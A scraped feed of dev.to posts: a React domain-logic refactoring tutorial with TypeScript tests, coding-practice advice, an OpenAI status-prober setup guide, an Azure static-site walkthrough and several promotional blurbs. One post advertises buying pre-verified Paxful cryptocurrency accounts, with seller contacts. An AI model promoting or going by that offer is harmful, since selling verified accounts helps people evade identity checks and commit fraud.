dedicated ticket (you can automate it with a GitHub action that will create an issue from any "TODO" mention in your code, for example [TODO to Issue](https://github.com/marketplace/actions/todo-to-issue)). ## Split tasks and commits When you receive a ticket for a new feature, work on it before you start implementing it. Add a checklist of subtasks and cases to handle, and implement them one after the other. You can also use this detailed case-by-case specification to write automated tests. This will help you keep going when the task at hand is overwhelming. The same discipline goes for commits for large features: help the code reviewer by splitting your work into commits with a clear title. ## Give symbols a proper name Symbols are all the phrases that you define in your code: types, interfaces, constants, variables, functions, classes, methods. The name `data` is rarely helpful when reading code. Take some time to give a descriptive name to your data and don't forget to use the plural for arrays. Function and method names should start with a verb that describes what is returned (and/or performed). Do not be afraid of longer names if necessary: _Everything should be made as simple as possible, but not simpler._ (Einstein). Follow these rules and your code should read _almost_ like a sentence in English. ## Refrain from DRYing everything out It is tempting to deduplicate everything in your codebase because someone said "Don't repeat yourself". You can have rules that look the same but are conceptually different. If you refactor them into an abstraction, they could become harder to understand and maintain. Rather than DRY, make your code ETC: _Easier To Change_. This means using a _single source of truth_ for things that are conceptually the same, for example: duplicate constants, business rules or UI components. If you copy-paste them, they will become hard to change. ## Optimize reasonably Just like excessive DRYness, premature optimization is a waste of time. You might want to improve the performance of an algorithm, for instance by replacing a loop with a regular expression. Is the performance gain valuable to the user in real-world conditions, with actual data? Is the gain offset by a potential loss in code readability? A lot of time, micro-optimizations are not worth it. A rule of thumb to avoid poor performance before it hits you in production: - keep the [time complexity of the algorithm](https://stackoverflow.com/a/11611770/2339721) under _O(n log n)_ - if you run database queries, do not run them in a loop of the size of the input but use a fixed number of join queries instead ## Test the risky parts first > What part of my code should I test? Again, make good use of your time. Test what is most critical and/or most at risk of failure. You can start by testing the core business rules of the application, especially if they are supposed to evolve over time (they are at risk of regression). Also, when a bug is reported, you can start by writing a test that highlights the bug (which means it should fail) before fixing the implementation (_test-driven development_). > Should I test all cases? Test cases that are expected to happen in real-world usage, starting with the most important ones, business-wise. ## Avoid persisting redundant data Again, aim for a single source of truth. Whether you're developing a stateful user interface or a service connected to a database, you're going to persist a state (in memory or on the disk). In React components, I have seen many times a filtered array set to state whereas it could be calculated at render time. Instead of setting in state only the filter arguments, both the arguments and the derived array are stored, making code more verbose and error-prone because both state values must be updated everytime the filter arguments change. Similarly, I have seen redundant database design, where data is set in a column whereas it could be derived (calculated) in real time. However, while this single-source-of-truth approach is conceptually cleaner and easier to maintain, it can lead to performance issues if the calculation is heavy and repeated multiple times with the same arguments: why recalculate it if the result remains the same? In this case, you can cache the result of the calculation using memoization: for instance `useMemo` in React, which will automatically refresh calculation when arguments change. In a database, for instance Postgres, you can use materialized views, but you will have to refresh their content manually. ## Summary - Actively look for error messages ; don't be afraid of them - Keep your work going by splitting tasks into smaller units that are easier to complete - Think of the person that will read your code: favor readability over excessive factorization or optimization - Beware of premature optimization: use your time to fix perceivable problems

arnaudrenaud

Path To A Clean(er) React Architecture (Part 7) - Domain Logic

Ever wondered where to put all the small functions that often end up in utility files? The domain layer might be the answer.

https://profy.dev/article/react-architecture-domain-logic

react, javascript, webdev, frontend

--- description: Ever wondered where to put all the small functions that often end up in utility files? The domain layer might be the answer. --- _The unopinionated nature of React is a two-edged sword:_ - _On the one hand, you get freedom of choice._ - _On the other hand, many projects end up with a custom and_ _**often messy architecture**__._ _This article is the seventh part of a series about software architecture and React apps where we take a code base with lots of bad practices and refactor it step by step._ Previously, - [we created the initial API layer and extracted fetch functions](https://profy.dev/article/react-architecture-api-layer-and-fetch-functions) - [added data transformations](https://profy.dev/article/react-architecture-api-layer-and-data-transformations) - [separated domain entities and DTOs](https://profy.dev/article/react-architecture-domain-entities-and-dtos) - [introduced infrastructure services using dependency injection](https://profy.dev/article/react-architecture-infrastructure-services-and-dependency-injection) and - [separated business logic from the components](https://profy.dev/article/react-architecture-business-logic-and-dependency-injection). This helped us in isolating our UI code from the server, make business logic independent of the UI framework, and increase testability. But we’re not done yet. In this article, we’ll focus on the core of our application: the domain. Domain logic is code that operates on the domain models like a user object. That may sound abstract but we’ll see what it means in some hands-on examples. The goal is to isolate this logic from our components, move it to a specific place in the repository, and unit test it. If you’ve ever wondered where you can place certain parts of logic if not a utility file or a custom hook this might be an interesting read. ## Table Of Contents 1. [Problematic code example: Domain logic inside a component](#problematic-code-example-domain-logic-inside-a-component) 2. [The problem: Mixed concerns and low testability](#the-problem-mixed-concerns-and-low-testability) 3. [The solution: Extracting logic to the domain layer](#the-solution-extracting-logic-to-the-domain-layer) 1. [Step 1: Creating functions in the domain layer](#step-1-creating-functions-in-the-domain-layer) 2. [Step 2: Updating the component](#step-2-updating-the-component) 3. [Step 3: Unit testing domain logic](#step-3-unit-testing-domain-logic) 4. [Another Problematic code example](#another-problematic-code-example) 1. [The problem: Mixture of domain and business logic](#the-problem-mixture-of-domain-and-business-logic) 2. [The solution: Creating functions in the domain layer](#the-solution-creating-functions-in-the-domain-layer) 5. [The pros and cons of extracting domain logic](#the-pros-and-cons-of-extracting-domain-logic) 1. [Advantages](#advantages) 2. [Disadvantages](#disadvantages) 6. [Next refactoring steps](#next-refactoring-steps) {% embed https://youtu.be/r2zuEqPFDDY %} ## Problematic code example: Domain logic inside a component Let’s have a look at a problematic code example. Here’s a component that renders a list of Shouts (aka Tweets or Posts). > You can find the source code [before](https://github.com/jkettmann/react-architecture/tree/81378b16b13f0ff916498e276979a99353f67604) and [after](https://github.com/jkettmann/react-architecture/tree/step-7-domain-logic) this refactoring. Addtionally you can find an overview of [all the changes for this article here](https://github.com/jkettmann/react-architecture/pull/14/files/81378b16b13f0ff916498e276979a99353f67604..65afcc8181d9971cebdbbea6b0d3737f8968e9de). ```typescript // src/components/shout-list/shout-list.tsx import { Shout } from "@/components/shout"; import { Image } from "@/domain/media"; import { Shout as IShout } from "@/domain/shout"; import { User } from "@/domain/user"; interface ShoutListProps { shouts: IShout[]; images: Image[]; users: User[]; } export function ShoutList({ shouts, users, images }: ShoutListProps) { return ( <ul className="flex flex-col gap-4 items-center"> {shouts.map((shout) => { const author = users.find((u) => u.id === shout.authorId); const image = shout.imageId ? images.find((i) => i.id === shout.imageId) : undefined; return ( <li key={shout.id} className="max-w-sm w-full"> <Shout shout={shout} author={author} image={image} /> </li> ); })} </ul> ); } ``` - The component receives a list of shouts together with a list of users and images that belong to these shouts. - It iterates over the shouts. - For each of the shouts it gets the corresponding author and the image. - Finally it returns a list item element for each shout. ## The problem: Mixed concerns and low testability The problematic lines of this component find the author and image of a Shout. ```typescript const author = users.find((u) => u.id === shout.authorId); const image = shout.imageId ? images.find((i) => i.id === shout.imageId) : undefined; ``` These are operations on the user and image entities. Namely this code defines how the user and image lookup work in our application. Additionally there’s a possibility that a Shout doesn’t have an image. Because of that we need a ternary expression. From my perspective that’s not the most beautiful or readable code. ## The solution: Extracting logic to the domain layer [In an earlier article, we created a domain layer](https://profy.dev/article/react-architecture-domain-entities-and-dtos) holding the core models of our application like `User` or `Image` as TypeScript interfaces. This turns out to be a great place to put logic that operates on domain entities. Let me show you… ### Step 1: Creating functions in the domain layer Taking the example code above we can create a new domain function called `getUserById`: ```typescript // src/domain/user/user.ts export interface User { id: string; handle: string; avatar: string; info?: string; blockedUserIds: string[]; followerIds: string[]; } export function getUserById(users?: User[], userId?: string) { if (!userId || !users) return; return users.find((u) => u.id === userId); } ``` In this example, we make the function more flexible than required by making both parameters optional. From my experience, this is especially useful when you work with asynchronous data or with libraries like `react-query`. We can do the same for the image: ```typescript // src/domain/media/media.ts export interface Image { id: string; url: string; } export function getImageById(images?: Image[], imageId?: string) { if (!imageId || !images) return; return images.find((i) => i.id === imageId); } ``` ### Step 2: Updating the component Now in the component the advantages become evident: ```typescript // src/components/shout-list/shout-list.tsx import { Shout } from "@/components/shout"; import { Image, getImageById } from "@/domain/media"; import { Shout as IShout } from "@/domain/shout"; import { User, getUserById } from "@/domain/user"; ... export function ShoutList({ shouts, users, images }: ShoutListProps) { return ( <ul className="flex flex-col gap-4 items-center"> {shouts.map((shout) => ( <li key={shout.id} className="max-w-sm w-full"> <Shout shout={shout} author={getUserById(users, shout.authorId)} image={getImageById(images, shout.imageId)} /> </li> ))} </ul> ); } ``` 1. The code is more readable because the reader’s brain doesn’t have to translate the `users.find(...)` functions in to ID lookups. 2. We got rid of the ternary expression further improving readability. 3. The logic is now much simpler to test. What do I mean by “simpler to test”? ### Step 3: Unit testing domain logic In the original code we’d have to test the logic by passing different versions of the `shouts`, `users`, and `images` props. Here a quick reminder of the original code: ```typescript export function ShoutList({ shouts, users, images }: ShoutListProps) { return ( <ul className="flex flex-col gap-4 items-center"> {shouts.map((shout) => { const author = users.find((u) => u.id === shout.authorId); const image = shout.imageId ? images.find((i) => i.id === shout.imageId) : undefined; return ( <li key={shout.id} className="max-w-sm w-full"> <Shout shout={shout} author={author} image={image} /> </li> ); })} </ul> ); } ``` Here specifically we’d have to provide different test cases for Shouts that contain an `imageId` and that don’t. We might even want to test other edge cases like a missing author or so. On top of that we’d have to test the component with e.g. React Testing Library which creates additional overhead. Compared to that writing unit tests for our new domain functions is very straightforward: ```typescript // src/domain/media/media.test.ts import { describe, expect, it } from "vitest"; import { getImageById } from "./media"; const mockImage = { id: "1", url: "test", }; describe("Media domain", () => { describe("getImageById", () => { it("should be able to get image by id", () => { const image = getImageById([mockImage], "1"); expect(image).toEqual(mockImage); }); it("should return undefined if image is not found", () => { const image = getImageById([{ ...mockImage, id: "2" }], "1"); expect(image).toEqual(undefined); }); it("should return undefined if provided images are not defined", () => { const image = getImageById(undefined, "1"); expect(image).toEqual(undefined); }); it("should return undefined if provided image id is not defined", () => { const image = getImageById([mockImage], undefined); expect(image).toEqual(undefined); }); }); }); ``` We can test all the possible branches without any setup code as often required by React Testing Library and these tests are blazing fast. This can provide the opportunity to remove some (more expensive) integration tests that would otherwise be required. ## Another Problematic code example Let me try to solidify this approach with another example. [In a previous article, we have a hook that exposes a use-case function](https://profy.dev/article/react-architecture-business-logic-and-dependency-injection) as a way to remove business logic from a component. This function - first runs a few lines of validation logic - followed by a series of service calls. ```typescript // src/application/reply-to-shout/reply-to-shout.ts import { useCallback } from "react"; import MediaService from "@/infrastructure/media"; import ShoutService from "@/infrastructure/shout"; import UserService from "@/infrastructure/user"; ... export async function replyToShout( { recipientHandle, shoutId, message, files }: ReplyToShoutInput, { getMe, getUser, saveImage, createReply, createShout }: typeof dependencies ) { const me = await getMe(); if (me.numShoutsPastDay >= 5) { return { error: ErrorMessages.TooManyShouts }; } const recipient = await getUser(recipientHandle); if (!recipient) { return { error: ErrorMessages.RecipientNotFound }; } if (recipient.blockedUserIds.includes(me.id)) { return { error: ErrorMessages.AuthorBlockedByRecipient }; } try { let image; if (files?.length) { image = await saveImage(files[0]); } const newShout = await createShout({ message, imageId: image?.id, }); await createReply({ shoutId, replyId: newShout.id, }); return { error: undefined }; } catch { return { error: ErrorMessages.UnknownError }; } } export function useReplyToShout() { return useCallback( (input: ReplyToShoutInput) => replyToShout(input, dependencies), [] ); } ``` ### The problem: Mixture of domain and business logic The problematic lines of code are in the data validation: ```typescript const me = await getMe(); if (me.numShoutsPastDay >= 5) { return { error: ErrorMessages.TooManyShouts }; } const recipient = await getUser(recipientHandle); if (!recipient) { return { error: ErrorMessages.RecipientNotFound }; } if (recipient.blockedUserIds.includes(me.id)) { return { error: ErrorMessages.AuthorBlockedByRecipient }; } ``` These are again operations on domain entities: `User` and `Me` (the current user). ### The solution: Creating functions in the domain layer And again we can move this logic to the domain layer: ```typescript // src/domain/me/me.ts import { User } from "@/domain/user"; export const MAX_NUM_SHOUTS_PER_DAY = 5; export interface Me extends User { numShoutsPastDay: number; } export function hasExceededShoutLimit(me: Me) { return me.numShoutsPastDay >= MAX_NUM_SHOUTS_PER_DAY; } ``` Now the domain is responsible for deciding whether or not a user has exceeded the shout limit. This allows us to remove implementation details such as - the number of shouts allowed - the interval for this threshold (in this case one day) from the code that’s closer to the UI. We can do the same with the check of the `blockedUserIds`: ```typescript // src/domain/user/user.ts export interface User { id: string; handle: string; avatar: string; info?: string; blockedUserIds: string[]; followerIds: string[]; } ... export function hasBlockedUser(user?: User, userId?: string) { if (!user || !userId) return false; return user.blockedUserIds.includes(userId); } ``` The use-case function now reads simpler and as mentioned contains less implementation details related to the domain (e.g. how many times a user can shout in a given interval). ```typescript // src/application/reply-to-shout/reply-to-shout.ts import { hasExceededShoutLimit } from "@/domain/me"; import { hasBlockedUser } from "@/domain/user"; export async function replyToShout( { recipientHandle, shoutId, message, files }: ReplyToShoutInput, { getMe, getUser, saveImage, createReply, createShout }: typeof dependencies ) { const me = await getMe(); if (hasExceededShoutLimit(me)) { return { error: ErrorMessages.TooManyShouts }; } const recipient = await getUser(recipientHandle); if (!recipient) { return { error: ErrorMessages.RecipientNotFound }; } if (hasBlockedUser(recipient, me.id)) { return { error: ErrorMessages.AuthorBlockedByRecipient }; } ``` Finally, we again can test this logic with simple unit tests: ```typescript // src/domain/user/user.test.ts import { describe, expect, it } from "vitest"; import { getUserById, hasBlockedUser } from "./user"; const mockUser = { id: "1", handle: "test", avatar: "test", numShoutsPastDay: 0, blockedUserIds: [], followerIds: [], }; describe("User domain", () => { describe("getUserById", () => { ... }); describe("hasBlockedUser", () => { it("should be false if user has not blocked the user", () => { const user = { ...mockUser, blockedUserIds: ["2"] }; const hasBlocked = hasBlockedUser(user, "3"); expect(hasBlocked).toEqual(false); }); it("should be true if user has blocked the user", () => { const user = { ...mockUser, blockedUserIds: ["2"] }; const hasBlocked = hasBlockedUser(user, "2"); expect(hasBlocked).toEqual(true); }); it("should be false if user is not defined", () => { const hasBlocked = hasBlockedUser(undefined, "2"); expect(hasBlocked).toEqual(false); }); it("should be false if user id is not defined", () => { const hasBlocked = hasBlockedUser(mockUser, undefined); expect(hasBlocked).toEqual(false); }); }); }); ``` ## The pros and cons of extracting domain logic Let’s quickly discuss some of the advantages and disadvantages of this approach. ### Advantages - Less utility functions: Without the domain layer it’s often unclear where you put logic like the above. From my experience it’s typically scattered around the components or you can find it in utility files. Utility files can become problematic though as they easily turn into a dumping ground for all kinds of shared code. - Readability: While it’s not a lot `users.find(({ id }) => id === userId)` requires a bit of cognitive overload to translate this into a ID lookup. Reading `getUserById(users, userId)` instead is much more descriptive. That’s especially effective if you many of these lines grouped together (e.g. at the top of a component). - Testability: You can often find code that uses if/switch statements or ternaries. Each of these mean that there are multiple test branches to be covered. It can be much easier to write unit tests for all the edge cases and reduce the number of integration tests to the ones being strictly necessary. - Reusability: Often these small pieces of logic might not seem worthy of being extracted into separate functions. Then they are repeated in the code indefinitely. But a small change of requirements can easily lead to a bigger refactoring. - Search-ability: It’s not that simple to run a global search on e.g. `users.find(({ id }) => id === userId)`. The code might be written in different ways with different variable names. A global search for `getUserById` is straightforward though. ### Disadvantages - Training: Not every developer is used to thinking in different kinds of logic. So documentation and training might be required if you want to keep your code base consistent. - Overhead: As you’ve seen in one of the examples above, we made some of the domain functions more flexible than required by the specific component (here we made the `users` and `userId` parameters of the `getUserById` function optional). Since we also covered these cases with unit tests we introduced more code than required leading to more maintenance effort. At the same time, this can save your butt if you e.g. suddenly encounter unexpected response data from the server. ## Next refactoring steps Until now we didn’t introduce any other tool than React itself. From my perspective, this was important as it can be difficult to transfer knowledge from one tech stack to another if things are mingled together. But now it’s time to confront the reality of production React apps. One of the most common tools used in the wild is `react-query` (or another server state management library like RTK query or SWR). How do these fit into our architecture? That’s the topic of the next article. [](https://profy.dev/article/react-architecture-domain-logic#newsletter-box)

jkettmann

BitPower Security Introduction

What is BitPower? BitPower is a decentralized lending platform based on blockchain technology,...

https://dev.to/aimm_x_54a3484700fbe0d3be/bitpower-security-introduction-325o

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aimm_x_54a3484700fbe0d3be

Hi Community of Dev's

Hi community i am new to dev can anybody tell me what can we do here. And i am interested in DevOps...

https://dev.to/madhucheran/hi-community-of-devs-59l2

welcome, newbie, beginners, devops

Hi community i am new to dev can anybody tell me what can we do here. And i am interested in DevOps and also give me any tips on DevOps related topics and what are the projects for devops that can be added in **_RESUME_** :) 

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Why Layered Lighting Is Effective in 2-Story Foyer Entryways

A 2-story foyer entryway refers to a grand entrance area in a building or home that spans two floors....

https://dev.to/moore_taylor/why-layered-lighting-is-effective-in-2-story-foyer-entryways-537l

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moore_taylor

Are you using OpenAI API? Then you need to be prepared!

If you are dependent on OpenAI API, you should know that at some point in time it might go down, even...

https://dev.to/skywarth/are-you-using-openai-api-then-you-need-to-be-prepared-2o60

openai, api, prometheus, monitoring

If you are dependent on OpenAI API, you should know that at some point in time it might go down, even for a short period. And in such cases you would like to know, act accordingly or maybe even run certain automations to mitigate the problem at hand. Those that do monitoring on their external dependencies know exactly what I'm talking about. **This article is for those:** - Use OpenAI API in their apps, or have dependency on it directly/indirectly - Prometheus Server and Blackbox exporter users - Grafana, metrics and visualization enjoyers Monitoring the status of APIs is crucial for maintaining the health and reliability of your applications. For those using OpenAI's API, the official status API always returns a 200 status code, even when the service is down. And naturally, this prevents you from probing this API via Prometheus Blackbox exporter. This is where the [OpenAI API Status Prober](https://github.com/skywarth/openai-api-status-prober) comes in handy. It acts as a proxy, translating the status into meaningful HTTP codes that integrate seamlessly with your Prometheus setup.   Key Features - Accurate Status Reporting: Converts OpenAI's status API responses into proper HTTP codes (200/500/3xx). - Easy Integration: Simplifies the process of integrating OpenAI API status monitoring into Prometheus. - Flexible Installation Options: Supports global, local, and direct usage methods. ## Why Use OpenAI API Status Prober? The primary motivation for using this tool is the limitation of the official OpenAI status API. By providing a proxy that returns appropriate HTTP status codes, the prober makes it possible to integrate OpenAI's status into Prometheus, enhancing your monitoring capabilities. ## Usage ### Installation You can install and set up OpenAI API Status Prober using three methods: 1.Global Installation: ``` npm install -g pm2 npm install -g openai-api-status-prober openai-api-status-prober start pm2 startup pm2 save ``` 2.Local installation: ``` git clone https://github.com/skywarth/openai-api-status-prober.git cd openai-api-status-prober npm ci node src/server.js ``` 3.Direct Usage of Production Deployment: You can use the deployment directly via https://openai-api-status-prober.onrender.com/open-ai-status-prober/simplified_status. However, it's recommended to self-host to avoid overloading the service. ### Integrating into Prometheus Blackbox exporter ```yaml scrape_configs: - job_name: 'blackbox' metrics_path: /probe params: module: [http_2xx] static_configs: - targets: - http://127.0.0.1:9091/open-ai-status-prober/simplified_status relabel_configs: - source_labels: [__address__] target_label: __param_target - source_labels: [__param_target] target_label: instance - target_label: __address__ replacement: 127.0.0.1:9115 ``` Then run `systemctl restart prometheus` ### CLI Commands - Start Server: `openai-api-status-prober start` - Stop Server: `openai-api-status-prober stop` - Version: `openai-api-status-prober -v` - Env Path: `openai-api-status-prober env-path` Repository: https://github.com/skywarth/openai-api-status-prober Deployment: https://openai-api-status-prober.onrender.com/open-ai-status-prober/simplified_status

skywarth

Buy Verified Paxful Account

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Therefore, users are advised to conduct thorough research and consider all aspects before proceeding with any transactions on Paxful.   How Do I Get 100% Real Verified Paxful Accoun? Paxful, a renowned peer-to-peer cryptocurrency marketplace, offers users the opportunity to conveniently buy and sell a wide range of cryptocurrencies. Given its growing popularity, both individuals and businesses are seeking to establish verified accounts on this platform. However, the process of creating a verified Paxful account can be intimidating, particularly considering the escalating prevalence of online scams and fraudulent practices. This verification procedure necessitates users to furnish personal information and vital documents, posing potential risks if not conducted meticulously. In this comprehensive guide, we will delve into the necessary steps to create a legitimate and verified Paxful account. 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Two essential security components, Two-Factor Authentication and Routine Security Audits, serve as the pillars fortifying this shield of protection, ensuring a secure and trustworthy user experience for all. Buy Verified Paxful Account. Conclusion Investing in Bitcoin offers various avenues, and among those, utilizing a Paxful account has emerged as a favored option. Paxful, an esteemed online marketplace, enables users to engage in buying and selling Bitcoin. Buy Verified Paxful Account. The initial step involves creating an account on Paxful and completing the verification process to ensure identity authentication. Subsequently, users gain access to a diverse range of offers from fellow users on the platform. Once a suitable proposal captures your interest, you can proceed to initiate a trade with the respective user, opening the doors to a seamless Bitcoin investing experience. In conclusion, when considering the option of purchasing verified Paxful accounts, exercising caution and conducting thorough due diligence is of utmost importance. It is highly recommended to seek reputable sources and diligently research the seller’s history and reviews before making any transactions. Moreover, it is crucial to familiarize oneself with the terms and conditions outlined by Paxful regarding account verification, bearing in mind the potential consequences of violating those terms. By adhering to these guidelines, individuals can ensure a secure and reliable experience when engaging in such transactions. Buy Verified Paxful Account. Contact Us / 24 Hours Reply Telegram:dmhelpshop WhatsApp: +1 ‪(980) 277-2786 Skype:dmhelpshop Email:[email protected]

yakad57762

About BitPower:

BitPower is an innovative blockchain solution that provides a secure and efficient digital...

https://dev.to/xin_l_9aced9191ff93f0bf12/about-bitpower-1ij6

BitPower is an innovative blockchain solution that provides a secure and efficient digital transaction and data management platform for businesses and individuals. Its main features include advanced encryption technology, distributed ledgers, multi-signature authentication, and smart contracts. By adopting these technologies, BitPower can ensure the confidentiality, integrity, and transparency of data, and prevent data tampering and fraud. In addition, BitPower also supports privacy protection mechanisms such as zero-knowledge proof to further enhance the security of user data. BitPower has a wide range of applications in financial services, supply chain management, healthcare, real estate, and other fields,providing trustworthy solutions and promoting the development of digital transformation and information security.

xin_l_9aced9191ff93f0bf12

Hyper-Personalized Experiences: How Generative AI Transforms Customer Engagement

In today's fast-paced digital landscape, generative AI is revolutionizing how businesses connect with...

https://dev.to/contata/hyper-personalized-experiences-how-generative-ai-transforms-customer-engagement-2p9l

dataengineering, datascience, applicationdevelopment, javascript

In today's fast-paced digital landscape, generative AI is revolutionizing how businesses connect with their customers. From personalized interactions to seamless support, AI-driven solutions are enhancing customer experiences like never before. Discover how this cutting-edge technology is enabling companies to anticipate needs, deliver tailored content, and build stronger relationships with their audiences. [Read the complete Blog](https://www.contata.com/blog/hyper-personalized-experiences-how-generative-ai-transforms-customer-engagement/)

contata

Buy certified Lab-grown diamond jewellery at Maiora Diamonds

Discover the elegance and sustainability of certified lab-grown diamond jewelry at Maiora Diamonds....

https://dev.to/maioradiamonds1/buy-certified-lab-grown-diamond-jewellery-at-maiora-diamonds-2p9d

ring, earring, diamondjewellery

 Discover the elegance and sustainability of certified lab-grown diamond jewelry at Maiora Diamonds. Our exquisite collection features stunning pieces that combine exceptional quality and ethical production. From dazzling engagement rings to timeless wedding bands and luxurious earrings, Maiora Diamonds offers the perfect blend of beauty. Explore our range and make a brilliant, eco-friendly choice for your jewelry collection. Maiora Diamonds has a stunning collection of certified lab-grown diamond jewelry, combining exceptional quality with eco-friendly practices. Our lab-grown diamonds are identical to natural ones, offering the same brilliance and durability without the environmental impact. Whether you're looking for a dazzling ring, elegant wedding bands, or [sophisticated earrings](https://www.maioradiamonds.in/lab-grown-diamond-earrings), Maiora Diamonds has the perfect collection for you. Embrace the beauty and sustainability of lab-grown diamonds and make a responsible choice for your jewelry collection with Maiora Diamonds.

maioradiamonds1

How to host Static Website on Azure Blob Storage

Table of Contents Introduction Step 1. Obtain these necessary tools: Step 2. Create a storage...

https://dev.to/yuddy/how-to-host-static-website-on-azure-blob-storage-1fdd

Table of Contents **Introduction** **Step 1. Obtain these necessary tools:** **Step 2. Create a storage account:** **Step 3. Enable Static Website:** **Step 4. Upload root/main folder:** **Step 5. Browse the Url:** **Introduction** Static website is a simple website anybody, enterprise, NGO etc. can own to showcase their object clause. It could contain business advert, public announcement and any other info-display that does not require connecting and adding data to the database or running queries from the database. Static Website is not dynamic in the sense that it requires static content and client-side scripts, HTML codes and does not accept higher programming languages or Server-side scripting like PHP, Python, Laravel etc. But it can run with JavaScript, ajax etc. **Below are the steps to host a successful Static Website.** **Step 1. Obtain these necessary tools:** **A.** You have to have developed a script/folder that contains all the information you want to be displayed over the web. This comes in form of codes written in HTML format. If you are not a developer, kindly engage the services of a developer to obtain such script. Also, the root/main folder could be named **"MyWebsite"** which should house these items below: - index.html - errorpage.hmtl or 404.html - css folder or file - image folder - javascript folder - other folders depending on the desired website end result.  **B.** You have to have an account that runs subscription with Azure. From a browser, quickly open portal.azure.com to register or sign in if you are an existing user.  **Step 2. Create a storage account:** - Navigate to the search bar, type storage account and select storage account. - Click on +Create and fill in the necessary details which includes: * Creating a new resource group * Type the storage name * Select your Region * Pick your Performance * Select your Redundancy * Click Review and Create (leaving every other tab on default) and wait for it to deploy.  * After deploying, Click on Go to Resource  **Step 3. Enable Static Website:** - Navigate through the left panel, locate and click on Data Management - Click on Static Website - Switch the button to Enable - Fill in these 2 fields below: * Index document name This is the root folder/script/file that contains, calls up and displays your website contents. It must be a file in HTML format E.g. index.html * Error document path This is the script/file that contains an error message that displays whenever an invalid/empty page is clicked. - Click Save. Saved, it will automatically create * $web container (where **MyWebsite ** root/main folder will be uploaded) * Primary endpoint (this contains the url)  **Step 4. Upload root/main folder:** - Navigate through the left panel, locate and click Data Storage - Click on Container - Click on $web  - Click on upload. - Click Browse for file (explore and select all the necessary folders) drag and drop  - Click Upload and wait for it Upload.  Files uploaded successfully.  **Step 5. Browse the Url (website):** - Navigate through the left panel, locate and click on Data Management - Click on Static Website - Copy the primary endpoint url  - Open the Url through a browser 

yuddy

Developing a Ride-Sharing App like Uber with Blockchain

The rapid rise of on-demand ride-sharing apps like Uber and Lyft among daily commuters worldwide...

https://dev.to/donnajohnson88/developing-a-ride-sharing-app-like-uber-with-blockchain-33o2

blockchain, learning, webdev, uber

The rapid rise of on-demand ride-sharing apps like Uber and Lyft among daily commuters worldwide presents significant opportunities, as customers increasingly prefer the convenience and affordability of these services over traditional taxis. However, the industry also faces numerous challenges, making it crucial for providers to identify and address factors that attract and repel passengers. [Blockchain automotive solutions](https://blockchain.oodles.io/blockchain-automotive-services/?utm_source=devto) offer a promising approach to customer-centric ride-sharing app development, enabling stakeholders to optimize appealing features while addressing issues that drive customers away. By leveraging blockchain technology, ride-sharing companies can enhance transparency, security, and efficiency, creating a more reliable and appealing service for users. With blockchain, a customer-centered ride-sharing app model implementation lets stakeholders create various possibilities in this space, Read the Complete blog here: [Ride-Sharing App like Uber with Blockchain](https://blockchain.oodles.io/blog/developing-ride-sharing-app-uber-with-blockchain/?utm_source=devto).

donnajohnson88

breast augmentation surgery in ludhiana

Achieve Your Ideal Silhouette: Breast Augmentation Surgery at Kyra Clinic, Ludhiana Are you...

https://dev.to/digiknowhow_b1dce12869040/breast-augmentation-surgery-in-ludhiana-2302

Achieve Your Ideal Silhouette: Breast Augmentation Surgery at Kyra Clinic, Ludhiana Are you considering breast augmentation to enhance your curves and boost your confidence? Kyra Clinic in Ludhiana offers expert breast augmentation procedures tailored to your aesthetic goals, ensuring natural-looking results and personalized care. About Breast Augmentation Surgery Breast augmentation, also known as augmentation mammoplasty, is a surgical procedure designed to enhance the size and shape of the breasts. It involves the placement of implants to achieve fuller breasts or utilizes fat transfer techniques for a natural enhancement. Why Choose Kyra Clinic? Maximum 4 selections Selected items: [Kyra Clinic in Ludhiana](https://youtu.be/cJc7yhoztyo?si=VoGUlx19g7OigRbe) is a renowned center for cosmetic and plastic surgery, equipped with state-of-the-art facilities and led by experienced surgeons specializing in breast augmentation. The clinic prioritizes patient safety, comfort, and satisfaction, providing comprehensive care from consultation to recovery. Procedure Overview Before undergoing breast augmentation surgery at Kyra Clinic: Consultation: You will meet with a skilled surgeon to discuss your goals, preferences, and medical history. The surgeon will assess your anatomy and recommend the best approach for achieving your desired results. Implant Selection: Together with your surgeon, you will choose the type, size, and placement of implants (silicone or saline) or discuss the option of fat transfer based on your anatomy and aesthetic goals. During the procedure: Anesthesia: Breast augmentation is typically performed under general anesthesia to ensure your comfort throughout the surgery. Surgical Technique: The surgeon will make incisions carefully chosen to minimize visible scarring. Implants are then placed either beneath the breast tissue (subglandular) or beneath the chest muscle (submuscular), depending on your anatomy and desired outcome. After the procedure: Recovery: You will be monitored closely post-surgery and provided with instructions for recovery, including pain management and follow-up care. Results: Over the following weeks and months, your breasts will settle into their new shape, providing you with enhanced volume and improved contour. Cost and Consultation The cost of breast augmentation surgery at Kyra Clinic in Ludhiana varies based on factors such as the type of implants chosen and the complexity of the procedure. For a personalized consultation and detailed cost estimate, contact Kyra Clinic directly: Address: [Insert Address] Phone: [Insert Phone Number] Website: [Insert Website URL] Kyra Clinic is committed to helping you achieve your aesthetic goals with professionalism and care. Discover how breast augmentation surgery can enhance your confidence and overall well-being under the expert guidance of their skilled team. This content provides a general overview. For precise pricing and details, it’s advisable to contact Kyra Clinic directly and schedule a consultation with their experienced team of surgeons.

digiknowhow_b1dce12869040

Why Remote Infrastructure Management is Important

In today's business world, having the ability to manage IT systems remotely is not just a handy...

https://dev.to/teleglobal/why-remote-infrastructure-management-is-important-5al4

 In today's business world, having the ability to manage IT systems remotely is not just a handy option—it's essential. [Remote Infrastructure Management (RIM)](https://teleglobals.com/remote-infrastructure-management/) refers to using technology to oversee and support IT systems like servers, networks, databases, and applications from a distance. Here's why RIM is so important for businesses: 1. Cost Efficiency One of the primary advantages of RIM is the significant reduction in operational costs. By leveraging remote management, businesses can save on the expenses associated with maintaining on-site IT staff and infrastructure. RIM providers often offer scalable solutions, allowing businesses to pay only for the services they use, thereby avoiding the costs of over-provisioning resources. Additionally, remote management reduces the need for physical office space and related overheads, further contributing to cost savings. 2. Enhanced Productivity and Efficiency RIM allows constant monitoring and management of IT systems, quickly identifying and fixing issues to minimize downtime. This continuous oversight improves efficiency, while automated tools and proactive maintenance prevent problems, boosting productivity. 3. 24/7 Monitoring and Support With RIM, businesses benefit from 24/7 monitoring and support, ensuring that their IT infrastructure is constantly under surveillance. This continuous monitoring allows for immediate detection and resolution of issues, reducing the risk of prolonged outages and ensuring that business operations run smoothly at all times. 4. Access to Specialized Expertise Outsourcing remote infrastructure management allows businesses to access a pool of specialized IT experts without the need for in-house hiring. These professionals bring a wealth of knowledge and experience, staying updated with the latest technologies and best practices. This expertise is particularly beneficial for small and medium-sized enterprises (SMEs) that may not have the resources to maintain a 